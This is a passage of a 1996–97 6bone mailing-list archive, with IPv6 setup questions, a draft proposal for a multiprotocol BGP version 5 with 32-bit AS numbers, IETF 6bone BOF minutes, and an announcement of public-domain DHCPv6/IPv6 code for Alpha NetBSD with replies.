I assume it is the AS number of the person providing the IPv6 tunnel
and it will be given to me, and not of our IPv4 provider?

4) Name service.  I have the ipv6.cs.colorado.edu domain and have
set up a bogus forward entry in there for the moment (the nameserver
is running bind 4.9.5).  I can not figure out how (or if) I'm supposed
to add the reverse maps to named.boot and the actual datafile.  If
someone could point me to some info on this or paste in their named
configs with some brief explanation, that would help a lot.

Any help would be appreciated. Thanks..

-Adam Boggs
Undergraduate Operations,
University of Colorado, Boulder




From majordom@ISI.EDU  Mon Dec 30 09:05:41 1996
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Message-Id: <199612301905.AA24223@metro.isi.edu>
To: 6bone@isi.edu, bgp@ans.net
Cc: jstewart@ISI.EDU
Subject: a different proposal for ipv6 in bgp
X-Phone: +1 703 812 3704
Date: Mon, 30 Dec 1996 14:05:41 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


attached below is a proposal for a multi-protocol (including
ipv6) bgp

while there are a number of differences between this one and
the bates/chandra/katz/rekhter one, one of the main motivating
factors for this one is to support longer-than-two-byte ASs.
it is our view that making bgp multi-protocol significantly
extends its life.  so, although in a narrow sense the length
of the AS is orthogonal to being multi-protocol, the logistics
of transitions and the need to adequeately engineer the
protocol up-front, to us, suggests the need for longer-than-
two-byte ASs

/jws

##################################################################


Network Working Group                               Dimitry Haskin
Internet-Draft                                        Bay Networks
Expires June 1997                             John W. Stewart, III
                                                               ISI


                   Multiprotocol Extensions for BGP

                draft-stewart-bgp-multiprotocol-00.txt


1. Status of this Memo

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet-Drafts as reference
   material or to cite them other than as ``work in progress.''

   To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
   Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe),
   munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or
   ftp.isi.edu (US West Coast).


2. Abstract

   This document outlines a proposal for a BGP Version 5 (BGP5)
   which has the ability to carry routing information for a variety
   of network protocols.  The proposed BGP modifications are
   intended to be simple enough to be easily added to the existing
   BGP implementations and, at the same time, provide for a longer
   than 16-bit AS number space.

   This document only describes BGP5 support for IPv4 and IPv6 networks.

3. Overview

   BGP [BGP4-RFC] is widely deployed as an inter-domain routing
   protocol for IPv4 and there is a large operational experience
   with it.  Though currently BGP can only carry routing information
   for IPv4,  the existence of the mature BGP implementation base 
   provides a strong motivation for extending it to support the Internet
   Protocol version 6 (IPv6) and possibly other network protocols. 

   This document outlines a proposal for creating a BGP Version 5 (BGP5)
   which has the ability to carry routing information for a variety
   of network protocols.  Adding this multi-protocol support to BGP 
   significantly increases its lifetime, so care should be taken for
   BGP5 to not be under-engineered.  For this reason, BGP5 supports
   longer than 2-byte ASs.  At the same time, in the authors' view,
   the proposed modifications are simple enough to be easily added
   to the existing BGP implementations as not to impede BGP5 deployment.
   As a matter of fact no changes to the BGP4 data structures are required
   to support IPv4 routing in BGP5.

   To ensure a smooth transition from BGP4 to BGP5 on IPv4 networks
   it is recommended that upgraded BGP implementations continue
   BGP4 support at least until BGP5 is universally deployed.  The BGP5
   proposal ensures that IPv4 routing information that is advertised
   with BGP5 is fully re-advertisable via BGP4 and vice versa. In this
   sense BGP4 and BGP5 are fully compatible as far as IPv4 routing is
   concerned.

   This paper presents an overview of the protocol messages used by
   BGP5.  Where details of the protocol (e.g., the state machine and
   fields of protocol messages) have the same meaning as BGP4, those
   details are left out of this outline for the sake of brevity.


4. Autonomous System Number Space
  
   This document proposes to adopt a 32-bit Autonomous System number
   space for IPv6 to accommodate for the aggressive Internet growth.
   The 32-bit number space is large enough to ensure that no future
   IPv6 transition to a larger number space will be necessary.

   In order to minimize implementation changes that are needed to
   support IPv4 routing,  16-bit AS number space will continue to
   be supported with BGP5.

   In addition BGP5 will provide a mechanism to gradually introduce
   the 32-bit AS number space to IPv4 routing.



5. Message Formats

   This section describes message formats used by BGP.

   
5.1 Message Header Format

   The fixed header for BGP5 is the same as BGP4, namely:

       0                   1                   2                   3
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |                                                               |
      +                                                               +
      |                                                               |
      +                                                               +
      |                           Marker                              |
      +                                                               +
      |                                                               |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      |          Length               |      Type     |
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   This is as described in BGP4.


5.2 OPEN Message Format

   The OPEN message has the following format:

       +---------------------------------------+
       | Version (1 octet)                     |
       +---------------------------------------+
       | Len of My Autonomous System (1 octet) |
       +---------------------------------------+
       | My Autonomous System (variable)       |
       +---------------------------------------+
       | Hold Time (2 octets)                  |
       +---------------------------------------+
       | Router ID (4 octets)                  |
       +---------------------------------------+
       | Opt Parm Len (1 octet)                |
       +---------------------------------------+
       | Optional Parameters (variable)        |
       +---------------------------------------+

   "Version" is a one-octet unsigned integer specifying the
   protocol version.  This paper describes BGP version 5.

   "Len of My Autonomous System" is a one-octet unsigned integer
   specifying the length in octets of the "My Autonomous System"
   field.  To carry IPv4 ASs this field should be 2; to carry IPv6 ASs this
   field should be 4.  The presence of this field permits routing
   domain identifiers of any length, though this paper only discusses
   the use of 2-byte ASs and 4-byte [fixed-length] ASs.

   "My Autonomous System" identifies the AS of which the sender
   is a member.

   "Hold Time" is as described in BGP4.

   "Router ID" is a 32-bit unsigned integer identifying the
   sender.  Because the	size of	the Router ID is smaller than an IPv6
   address, it cannot be set to one of the router's IPv6 addresses (as
   is commonly done for IPv4). Possible Router ID assignment procedures
   for IPv6 include: a) assign the IPv6 Router ID as one of the router's
   IPv4 addresses or b) assign IPv6 Router IDs through some local
   administrative procedure (similar to	procedures used	by manufacturers
   to assign product serial numbers). The Router ID of 0.0.0.0 is	
   reserved, and should not be used.

   "Opt Parm Len" and "Optional Parameters" are as described in BGP4.


5.3 UPDATE Message Format

   The UPDATE message always includes the fixed-size BGP header that
   is followed by one-octet Format Type field which indicates the
   format and content of the rest of the UPDATE message.

   The following UPDATE Format Type values are defined in this document:

     1 - BGP4 compatible update with IPv4 routing information
     2 - IPv6 routing update
     3 - IPv4 routing update with the 4-octet AS numbers

   Implementations are not required to support all possible
   update formats. To allow for future enhancements, implementations
   are required to ignore UPDATES with format types that they do not
   support.

5.3.1  BGP4 Compatible Update

   This type of UPDATE message has the following format:

      +-----------------------------------------------------+
      |  Format Type (1 octet) == 1                         |
      +-----------------------------------------------------+
      |  Withdrawn Routes Length (2 octets)                 |
      +-----------------------------------------------------+
      |  Withdrawn Routes (variable)                        |
      +-----------------------------------------------------+
      |  Total Path Attribute Length (2 octets)             |
      +-----------------------------------------------------+
      |  Path Attributes (variable)                         |
      +-----------------------------------------------------+
      |  Network Layer Reachability Information (variable)  |
      +-----------------------------------------------------+

   "Format Type" is a value indicating the format of
   the UPDATE message. It is 1 for the BGP4 compatible format type.

   All other fields are as described in BGP4.


5.3.2  IPv6 Routing Update

   This type of UPDATE message has the following format:

      +-----------------------------------------------------+
      |  Format Type (1 octet) == 2                         |
      +-----------------------------------------------------+
      |  Withdrawn Routes Length (2 octets)                 |
      +-----------------------------------------------------+
      |  Withdrawn Routes (variable)                        |
      +-----------------------------------------------------+
      |  Total Path Attribute Length (2 octets)             |
      +-----------------------------------------------------+
      |  Path Attributes (variable)                         |
      +-----------------------------------------------------+
      |  Network Layer Reachability Information (variable)  |
      +-----------------------------------------------------+

   "Format Type" is a value indicating the format of
   the UPDATE message. It is 2 for UPDATE messages that carry
   IPv6 routes.

   "Withdrawn Routes Length" is a two-octet unsigned integer
   specifying the length in octets of the "Withdrawn Routes" field.

   "Withdrawn Routes" is a variable-length field containing a list
   of address prefixes being withdrawn from service. 
   Each address prefix is encoded as described in BGP4, except that
   the "Length" component of the tuple isn't limited to what would
   make sense for IPv4 addresses.

   "Total Path Attribute Length" is as described in BGP4.

   "Path Attributes"  field is as described in BGP4 except:

     - The NEXT-HOP attribute is interpreted as a 16-byte
       IPv6 global or site scope address.

     - The AGGREGATOR attribute contains the AS number that formed
       the aggregate route (encoded as 4 octets), followed by the
       16-byte IPv6 global or site scope address of the BGP speaker that
       formed the aggregate route.

     - The AS-PATH attribute contains four-byte ASs.  Two-byte ASs
       can be mapped to four-byte ASs with zero-padding to the left.

     - A new LINK-LOCAL-NEXT-HOP attribute.

       LINK-LOCAL-NEXT-HOP is a well-known discretionary attribute
       that contains the link-local address of the router interface
       associated with the global-scope IPv6 address specified in
       the NEXT-HOP attribute of the same UPDATE message.

       LINK-LOCAL-NEXT-HOP shall be included in all IPv6 UPDATE
       messages that a given BGP speaker sends to other BGP speakers
       located in a neighboring autonomous system.  Such a link local
       address should be used as the immediate next hop for forwarding
       packets to the destinations listed in the UPDATE message.

       A BGP speaker shall not include this attribute in IPv6 UPDATE
       messages that it sends to BGP speakers located in its own
       autonomous system.  If it is contained in an UPDATE message that
       is received from a BGP speaker which is located in the same AS
       as the receiving speaker, then this attribute shall be ignored
       by the receiving speaker.  For the routes received from a BGP
       speaker in the same AS as the receiving speaker, the link-local
       address of the immediate next hop should be based on the IGP
       route to the global-scope address provided in the NEXT-HOP 
       attribute.
       

   "Network Layer Reachability Information" is as described in
   BGP4, except that the "Length" component of the tuple isn't
   limited to what would make sense for IPv4 addresses.


5.3.3  IPv4 Routing Update With the 32-bit AS Numbers

   This type of UPDATE message provides support for
   a larger than 16-bit AS number space that is currently
   supported in BGP4.  Introducing this type of UPDATE
   well in advance of the 16-bit AS number space exhaustion
   will allow for smoother IPv4 transition to a larger
   AS number space.

   16-bit AS numbers can be mapped into 32-bit AS numbers by with
   zero-padding to the left.  Therefore it is expected that
   for an extended period, until BGP5 which supports this type of
   UPDATE message is universally deployed,  bacwards compatibility
   will be achieved by simply mapping 16-bit AS numbers to zero-
   extended 32-bit AS numbers and vice versa.

   This type of UPDATE message has the following format:

      +-----------------------------------------------------+
      |  Format Type (1 octet) == 3                         |
      +-----------------------------------------------------+
      |  Withdrawn Routes Length (2 octets)                 |
      +-----------------------------------------------------+
      |  Withdrawn Routes (variable)                        |
      +-----------------------------------------------------+
      |  Total Path Attribute Length (2 octets)             |
      +-----------------------------------------------------+
      |  Path Attributes (variable)                         |
      +-----------------------------------------------------+
      |  Network Layer Reachability Information (variable)  |
      +-----------------------------------------------------+

   "Format Type" is a value indicating the format of
   the UPDATE message. It is 3 for this format type.

   "Withdrawn Routes Length" is as described in BGP4.

   "Withdrawn Routes" is as described in BGP4

   "Total Path Attribute Length" is as described in BGP4.

   "Path Attributes"  field is as described in BGP4 except:

     - The AGGREGATOR attribute contains the 32-bit AS number that formed
       the aggregate route (encoded as 4 octets), followed by the
       IPv4  address of the BGP speaker that formed the aggregate route.

     - The AS-PATH attribute contains 32-bit ASs.


6. Acknowledgements

   [TBA]


7. Security Considerations

   [TBA]


8. References


   [BGP4-RFC] -- RFC1771

   [ASSIGNED-NUMBERS-RFC] -- RFC1700


9. Authors' Addresses

   John W. Stewart, III
   USC/ISI
   4350 North Fairfax Drive
   Suite 620
   Arlington, VA  22203
   +1 703 812 3704
   email: jstewart@isi.edu

   Dimitry Haskin
   Bay Networks
   2 Federal St.
   Billerica, MA
   +1 508 916 8124
   email: dhaskin@baynetworks.com





From majordom@ISI.EDU  Mon Dec 30 03:55:39 1996
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Content-Type: text/plain; charset="us-ascii"
Date: Mon, 30 Dec 1996 11:55:39 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone BOF Minutes
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I've enclosed the draft of the San Jose IETF 6bone BOF minutes, kindly
taken by Alain and Pedro, and post-edited by me.

By the 6th of January I will forward them to the IETF secretariat, so
please send any corrections to me before then.


Thanks,

Bob


_______________________cut here_______________________________________


6bone BOF Meeting
December 10, 1996
San Jose, CA

Bob Fink / LBNL, Chair
Minutes by Alain Durand, Pedro Roque, and Bob Fink.

--------------------------------------------------------------------
Agenda
--------------------------------------------------------------------

1. Introduction and Agenda Bashing / Bob Fink (5 mins)
2. Formation of a 6bone WG - do we? / Bob Fink (10 mins)
3. If so, what might we set as an initial WG goal? / Bob Fink (5 mins)
4. Topology  / Alain Durand (30 mins)
5. Addressing / (30 mins)
6. Routing / Pedro Roque (15 mins)
7. RIPE Registry cleanup & changes / David Kessens (15 mins)
8. Maps / Bob Fink (5 mins)

--------------------------------------------------------------------
1. Introduction and Agenda Bashing / Bob Fink
--------------------------------------------------------------------

Bob Fink convened the meeting, and reviewed the agenda and its order,
asking for changes.  Rough time estimates were allocated for each item to
keep the meeting on track.  The agenda was acceptable to the group and the
meeting continued.

Fink noted that there was a 6bone web page at:

	http://www-6bone.lbl.gov/6bone/

and a mail list that one can subscribe to:

	majordomo@isi.edu

	subscribe 6bone

--------------------------------------------------------------------
2. Formation of a 6bone WG - do we? / Bob Fink
--------------------------------------------------------------------

Bob Fink presented his view of the pros and cons of forming a working group.

Advantages:

  - getting a meeting place at IETF meetings

  - formalization of process of feedback to other IETF ipv6 efforts

Disadvantage:

  - need a goal and some work products

  - need to incur administrative overhead

Fink contended that we've already succumbed to the admin. overhead and have
most processes in place because of the existing 6bone testbed effort, and
that 6bone participants are already producing useful products.  Thus we
(the 6bone participants) may just need to document some of them.  Thus Bob
concluded that it was worth forming a working group.

Fink also presented a possible draft charter:

The 6bone Working Group is a forum for information concerning the
deployment, engineering, and operation of ipv6 protocols and procedures in
the global Internet. This activity will include, but not be limited to:

  - Deployment of ipv6 transport and routing in the global Internet via a
    "6bone" testbed to assist in the following.

  - Creation of "practice and experience" informational RFC documents that
    capture the experiences of those who have deployed, and are deploying,
    various ipv6 technologies.

  - Feedback to various IETF ipv6-related activities, based on testbed
    experience, where appropriate.

  - Development of mechanisms and procedures to aid in the transition to native
    ipv6, where appropriate.

  - Development of mechanisms and procedures for sharing operational
information
    to aid in operation of global ipv6 routing.

Fink noted that the 6bone, though originally formed from the model of the
mbone, was not like the current Mboned WG effort as the early 6bone is not
a real start at deployment, rather a testbed for developers and users to
try out implemenations and operational experiences to feed back into IPng
IETF efforts and also provide advocacy for IPv6 deployment.

There was broad consensus that Fink should proceed with forming a working
group.  There were also comments that supported Bob Fink acting as the
chair, which he agreed to do at least initially for the formation effort.

--------------------------------------------------------------------
3. If so, what might we set as an initial WG goal? / Bob Fink
--------------------------------------------------------------------

Bob Fink then presented several possible work products of a working group
that were basicallyt generating a series of informational RFCs:

  - documentation of the RIPE registry

  - documentation of 6bone testbed participation procedures

  - documentation of relevant experiences with the testbed

It was noted that currently the 6bone effort would be under the Operations
area (Bradner/O'Dell are directors).  Bob Fink agreed to proceed with
filing the necessary charter and plan with the area directors as well as
generating a discussion of the charter on the mailer.

--------------------------------------------------------------------
4. Topology / Alain Durand
--------------------------------------------------------------------

Alain Durain proposed converting the 6bone testbed topology to a three
level system of core backbone routers, second tier transit routers and leaf
routers (for node sites not doing transit).  He proposed this to better
structure the 6bone for effective routing and to simplify its topology.
Tunnels could then be built for either production or experimental uses.

Durand noted his main point is that tunnels are per nature layer 2 items,
and that if one wants the 6-bone to grow, it needs to do some kind of
routing.  From hiss experience, it's not such an easy task and probably not
all nodes are willing to do it completely. Thus the reason for his proposed
reorganized routing/topology into a three level system.

It was agreed to continue this discussion on the mailer.

--------------------------------------------------------------------
6. Routing / Pedro Roque
--------------------------------------------------------------------

Pedro Roque led off a discussion of routing in the 6bone with his concern
that RIPng was slow to converge and caused him much trouble on the less
reliable trans-Atlantic links.

Others expressed their opinion that RIPng was able to converge and work in
the 6bone.  It was clear that there was a need for lively debate on the
relative merits of routing approaches for the 6bone.

The chair suggested that it was best to pursue this on the mailer.

--------------------------------------------------------------------
5. Addressing
--------------------------------------------------------------------

Alain Durand presented his request for a change in the prefix notation for
IPv6 addressing (draft-durand-ipv6prefix-00.txt).  It was agreed that this
was an oversight in RFC 1844 specifying address notation, and that this
topic should be brought up at the IPng meetings this IETF week (it was and
there was agreement there to incorporate Alain's suggested prefix format).

Durand noted that this is not a "change" per se, just something that is not
standardized yet.

Someone pointed out that this notation could conflict with another notation
that was used by the RPS group. Durand checked this with them later after the
meeting, and thinks that in fact there is no problem at all.

Pedro Roque presented his suggested address allocation policy for use in
the 6bone.  This was an elaboration of RFC 1897 that basically suggests
that for leaf nodes (in the 6bone) that the prefix should be constructed
using the first 32 bits of the prefix used by the transit site they are
connected to.

Some thought this was a reasonable idea.  Geert Jan de Groot said that this
was maybe not necessary because a dynamic routing algorithm would solve
most problems.

The discussion went back to RIPng, with some saying that RIPng is maybe not
enough, and that what is needed are better protocols like BGP or IDRP.

The question was raised about sites connecting to "big" nodes, and which
prefix they should use. The answer was both, as it's a case of multihoming.

Matt Crawford proposed using the 6bone testbed to experiment with Mike
O'Dell's 8+8 addressing proposal.  He identified various issues relating to
this effort:

  - Host issues - modified pseudo header checksum for 8+8 addresses

  - Router isssues - insertion of RG

  - DNS issues
    - DNS lookup in 2 different parts AA & RG
    - Discover bootstrap troubles

  - Security issue - should we mandate IPsec?

It was noted that IPsec is not currently in the tested.

Jim Bound noted that a new draft was needed to explain what the differences
are with the present addressing implementation.  He also noted that he
(Digital) was interested in attempting an implementation of 8+8 that
co-existed with the existing addressing as his staff believes that can be
done.

Bob Hinden expressed his concern that until the IPbg working group decided
if 8+8 was possible that it was premature for the 6bone efforts to deal
with it.  The chair agreed with this concern but also noted that the 6bone
effort might assist the IPng 8+8 design effor in giving feedback as it
moved along.

It was agreed to continue discussion of possible 6bone 8+8 efforts on the
mailer.

--------------------------------------------------------------------
7. RIPE Registry cleanup & changes / David Kessens
--------------------------------------------------------------------

David Kessens presented the RPSL work in relation to a modified format for
the RIPE-NCC 6bone routing registry. He contended that a well defined (and
new) syntax was necessary before cleaning up the current RIPE-NCC 6bone
registry.

There were some comments on various fields.  It was noted that an IPv6 end
point address should be added.

It was agreed to continue the discussion on RIPE-NCC 6bone registry
restructuring on the mailer.

--------------------------------------------------------------------
8. Maps / Bob Fink
--------------------------------------------------------------------

Bob Fink noted that he was at the useful limits of the current 6bone
diagram, but that he intended to experiment with other forms of drawing it
as the topology discussions and restructuring proceeded.

The preferred solution would be to have the maps drawn automatically from
registry data.  Until such mechanisms are in use for the 6bone, Fink noted
that he was willing to try to keep a 6bone map up to date manually.

--------------------------------------------------------------------
--------------------------------------------------------------------



From majordom@ISI.EDU  Sat Jan  4 08:28:10 1997
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To: ipng@sunroof.eng.sun.com, ipv6imp@munnari.oz.au, 6bone@isi.edu,
        host-conf@sol.eg.bucknell.edu, dhcp-v6@bucknell.edu,
        dhc-v6impl@bucknell.edu, iesg@cnri.reston.va.us, iab@isi.edu
Cc: rdr@cs.unh.edu, rdb@cs.unh.edu, mattyc@leonis.nus.sg, qv@iol.unh.edu,
        whl@whitec.sr.unh.edu, yunzhou@ee.nus.sg, scip4166@leonis.nus.org,
        bound@zk3.dec.com, agn@flume.enet.dec.com,
        harrington@dragns.enet.dec.com, bglover@zk3.dec.com, mogul@pa.dec.com
Subject: IPv6/DHCPv6 Public Domain on Alpha Netbsd 4.4 (64 bits!!!)
Date: Sat, 04 Jan 97 13:28:10 -0500
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DO NOT RESPOND TO THIS MAIL see below for implementation lists and contacts.

Over the past 6 months Yunzhou Li from the University of Singapore
working in conjunction with the University of New Hampshire, and Quaizar
Vohra from the University of New Hampshire (UNH) developed a public domain
version of DHCPv6 and IPv6 to run on the Carnegie Mellon port of Netbsd
4.4 on Digital Equipments Alpha 64 bit processor.  Support to Yunzhou,
Quaizar, and UNH for this effort was provided by the Digital IPv6 Alpha
UNIX team to assist where we were able.  This software is a 64bit
version of IPv6 that is available to the public domain without any
copyrights or other obligations other than the hope of sharing
enhancements and ideas into the Internet Software Community.

The DHCPv6 code is available now and the IPv6 stack will be available
soon this month (January 1997).  Though the DHCPv6 code is mean't for
Quaizar's IPv6 stack he did at UNH, I believe that Yunzhou's code can be
ported to other IPv6 stacks, using the IPv6 the Basic and Advanced API 
drafts as Yunzhou took the time to develop the code base in a most portable 
manner (e.g. using the database described in the book "Advanced Programming 
in the UNIX Environment" by Dr. Richard Stevens).

You can access the DHCPv6 code base at:

	ftp://sun4.iol.unh.edu/pub/dhcpv6

There are two types of compressed packages inclusive:

	dhcpv6-1.0.tar.gz	(for gunzip)
	dhcpv6-1.0.tar.Z	(for uncompress)

A documentation file exists based on the DHCPv6 draft but needs to be
updated to reflect the next version of the draft Charlie Perkins (IBM
Watson Labs) and I will submit for last call in January 1997 to reach 
Proposed Standard status.  But the code base should not be affected in 
any significant manner.  One objective we should have as a community is 
to add Dynamic Updates to DNS to the DHCPv6 Server code base Yunzhou has 
provided us using the latest release from Paul Vixie et al BIND T8.1A
and the necessary security enhancements from the DNSSEC work and other
implementation ideas being worked on in the community.

If you want to contact Yunzhou you can reach him for now at
yunzhou@ee.nus.sg or scip4166@leonis.nus.org.  Yunzhou will be moving to
the U.S. in late January 1997. You can reach Quaizar at qv@iol.unh.edu.

Implementation discussion for DHCPv6 will be discussed on a mail list
created for us by Ralph Droms Chair of the IETF DHC Working Group.
The list will be dhc-v6impl@bucknell.edu and you can subscribe to that
list as follows:

   Mail to listserv@bucknell.edu with body "help" or

   subscribe dhcp-v6impl Your Name

Once Quaizar releases his code base we can use our IPv6 implementors
list to discuss that software code base and report bugs etc... That list
is ipv6imp@munnari.oz.au.  This list has existed for some time for IPv6
implementors, and you can subscribe to it as follows:

  Mail to ipv6imp-request@munnari.oz.au.

Quaizar's implementation is also documented very well as part of his
Masters of Computer Science Thesis at UNH.

Also a recent Digial Technical Journal (DTJ) is out and if you can get 
a copy it describes well what and how we built IPv6 on Alpha DUNIX (written 
by Dan Harrington [now at Lucent Technologies] Matt Thomas, Jack McCann, 
and Jim Bound). Its Volume 8 Number 3 1996.  It is sent outside of Digital 
so what we wrote about is now public knowledge.  It also discusses some of
the paradigm and architectural trade-offs we made from an implementation
perspective, like taking advantage of a 64bit architecture.  I will
announce a WWW page pointer and add a hotlink to our
www.digital.com/info/ipv6/ page sometime in January 1997, where you will
also be able to determine how to get hard copies if you want them, or
view it online.

As a community we need to give a big thanks to the University of New
Hampshire (UNH), the UNH Interoperability Lab, University of Singapore,
Yunzhou Li, Quaizar Vohra, Digital Equipement Corporation, and the
Digital Alpha DUNIX IPv6 Team.  This work will provide us a working IPv6
64 bit platform on Alpha to further develop the growing public domain of
IPv6 software.  A special thanks to Carnegie Mellon for the vision and
on going work to port Netbsd 4.4 to the Alpha Platform, and Charlie Perkins
and the IETF DHC Working Group for taking on DHCPv6 as the first IETF WG
outside of the classic IPng Working group to produce an IPv6 spec that
we think has rough consensus and "running code".

Sincerely,
/jim

Jim Bound
Consulting Software Engineer
IPv6 Technical Director
Digital Equipment Corporation
bound@zk3.dec.com
603-881-0400 


From majordom@ISI.EDU  Sat Jan  4 04:06:56 1997
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From: rja@cisco.com (Ran Atkinson)
Date: Sat, 4 Jan 1997 12:06:56 PST
In-Reply-To: bound@zk3.dec.com
       "[IPv6Imp] IPv6/DHCPv6 Public Domain on Alpha Netbsd 4.4 (64 bits!!!)" (Jan  4,  1:28pm)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: bound@zk3.dec.com, ipng@sunroof.eng.sun.com, ipv6imp@munnari.OZ.AU,
        6bone@ISI.EDU, host-conf@sol.eg.bucknell.edu, dhcp-v6@bucknell.edu,
        dhc-v6impl@bucknell.edu, iesg@cnri.reston.va.us, iab@ISI.EDU
Subject: Re: [IPv6Imp] IPv6/DHCPv6 Public Domain on Alpha Netbsd 4.4 (64 bits!!!)
Cc: rdr@cs.unh.edu, rdb@cs.unh.edu, mattyc@leonis.nus.sg, qv@iol.unh.edu,
        whl@whitec.sr.unh.edu, yunzhou@ee.nus.sg, scip4166@leonis.nus.org,
        agn@flume.enet.dec.com, harrington@dragns.enet.dec.com,
        bglover@zk3.dec.com, mogul@pa.dec.com
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Status: RO

I'm glad to see this DHCPv6 port appear.

As a matter of record, I'll note that the NRL IPv6 code has been
running fine for some time now on DEC Alpha/NetBSD systems at
NASA/Moffett Field, so this gives the DEC Alpha two different
ports to work with (a good thing, IMHO).

:-)

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Sat Jan  4 09:49:16 1997
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	by osprey.nas.nasa.gov (8.8.3/NAS.6.1) id RAA29916; Sat, 4 Jan 1997 17:49:16 -0800 (PST)
Date: Sat, 4 Jan 1997 17:49:16 -0800 (PST)
From: templin@nas.nasa.gov (Fred L. Templin)
Message-Id: <199701050149.RAA29916@osprey.nas.nasa.gov>
To: iab@ISI.EDU, iesg@cnri.reston.va.us, dhc-v6impl@bucknell.edu,
        dhcp-v6@bucknell.edu, host-conf@sol.eg.bucknell.edu, 6bone@ISI.EDU,
        ipv6imp@munnari.OZ.AU, ipng@sunroof.eng.sun.com, bound@zk3.dec.com,
        rja@cisco.com (Ran Atkinson)
Subject: Re: [IPv6Imp] IPv6/DHCPv6 Public Domain on Alpha Netbsd 4.4
    (64 bits!!!)
Cc: mogul@pa.dec.com, bglover@zk3.dec.com, harrington@dragns.enet.dec.com,
        agn@flume.enet.dec.com, scip4166@leonis.nus.org, yunzhou@ee.nus.sg,
        whl@whitec.sr.unh.edu, qv@iol.unh.edu, mattyc@leonis.nus.sg,
        rdb@cs.unh.edu, rdr@cs.unh.edu
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Status: RO

> As a matter of record, I'll note that the NRL IPv6 code has been
> running fine for some time now on DEC Alpha/NetBSD systems at
> NASA/Moffett Field, so this gives the DEC Alpha two different
> ports to work with (a good thing, IMHO).

Yes, as Ran points out we've been running the NRL IPv6 and IPSEC
implementations on DEC Alpha/NetBSD-1.2 (including my changes which
make the NRL code 64-bit clean) for a couple of months now here at
NASA Ames. See:

	http://www.ipv6.nas.nasa.gov/nrl64.html

for a writeup of the porting project. Since our current research
objectives require an IPv6 implementation which offeres both high
performance and extensibility, however, we're very much interested
in taking a look at the new public-domain release Jim Bound referred
to in his announcement as well. It's still a bit early for us to run
a "bakeoff" against the various implementations, so Jim's annoucement
certainly gives us a new data point to consider. 

Regards,

Fred
templin@nas.nasa.gov

From majordom@ISI.EDU  Mon Jan  6 06:09:35 1997
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To: templin@nas.nasa.gov (Fred L. Templin)
Cc: iab@ISI.EDU, iesg@cnri.reston.va.us, dhc-v6impl@bucknell.edu,
        dhcp-v6@bucknell.edu, host-conf@sol.eg.bucknell.edu, 6bone@ISI.EDU,
        ipv6imp@munnari.OZ.AU, ipng@sunroof.eng.sun.com, bound@zk3.dec.com,
        rja@cisco.com (Ran Atkinson), mogul@pa.dec.com, bglover@zk3.dec.com,
        harrington@dragns.enet.dec.com, agn@flume.enet.dec.com,
        scip4166@leonis.nus.sg, yunzhou@ee.nus.sg, whl@whitec.sr.unh.edu,
        qv@iol.unh.edu, mattyc@leonis.nus.sg, rdb@cs.unh.edu, rdr@cs.unh.edu
Subject: Re: [IPv6Imp] IPv6/DHCPv6 Public Domain on Alpha Netbsd 4.4 (64 bits!!!) 
In-Reply-To: Your message of "Sat, 04 Jan 97 17:49:16 PST."
             <199701050149.RAA29916@osprey.nas.nasa.gov> 
Date: Mon, 06 Jan 97 11:09:35 -0500
X-Mts: smtp
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Status: RO

Fred,

>Yes, as Ran points out we've been running the NRL IPv6 and IPSEC
>implementations on DEC Alpha/NetBSD-1.2 (including my changes which
>make the NRL code 64-bit clean) for a couple of months now here at
>NASA Ames. See:

>	http://www.ipv6.nas.nasa.gov/nrl64.html

I knew about this from you as you know for sometime.  Was not clear
until now you and NRL were updating the sources.  More 64 bit code bases
on Alpha is always a good thing.  Also my mistake its release Netbsd 1.2 
(not 4.4 but is based on 4.4).  

>for a writeup of the porting project. Since our current research
>objectives require an IPv6 implementation which offeres both high
>performance and extensibility, however, we're very much interested
>in taking a look at the new public-domain release Jim Bound referred
>to in his announcement as well. It's still a bit early for us to run
>a "bakeoff" against the various implementations, so Jim's annoucement
>certainly gives us a new data point to consider. 

I think you should check out the UNH code at NASA once its out.  

Connectathon is the first week in March and the next IPv6
interoperability testing will take place there in the Bay Area.
I do feel unless an implementation goes to an IPv6 interoperability
event it is not tempered to the test of fire and if I were a user I
would ask if an implementation has been at these events.  These events
really test an implementation which cannot be done or verified by just
being on the 6bone (e.g. address configuration, Neighbor Discovery, API)
and really helps with development.  Also IPsec still has yet to be
tested at these IPv6 interoperability events and Multicast Routing so we
still have a ways to go.  Right now the only public domain that has been
tested with the UNH test suites is INRIA's version. 

/jim  


From majordom@ISI.EDU  Mon Jan  6 01:42:02 1997
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Date: Mon, 6 Jan 1997 09:42:02 -0800
To: minutes@ietf.org
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: San Jose IETF 6bone BOF minutes
Cc: Scott Bradner <sob@harvard.edu>, mo@uunet.uu.net (Mike O'Dell),
        6bone@isi.edu (6BONE Mailer)
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IETF Secretariat,

I've enclosed the minutes of the San Jose IETF 6bone BOF.

Though I handed in some slides at the reg desk in San Jose to be included
in the printed proceedings, I would like to cancel them.  The material I
handed in, as well as other relevant info, is provided within these minutes.


Thanks,

Bob


_______________________cut here_______________________________________


6bone BOF Meeting
December 10, 1996
San Jose, CA

Bob Fink / LBNL, Chair
Reported by Alain Durand, Pedro Roque, and Bob Fink.

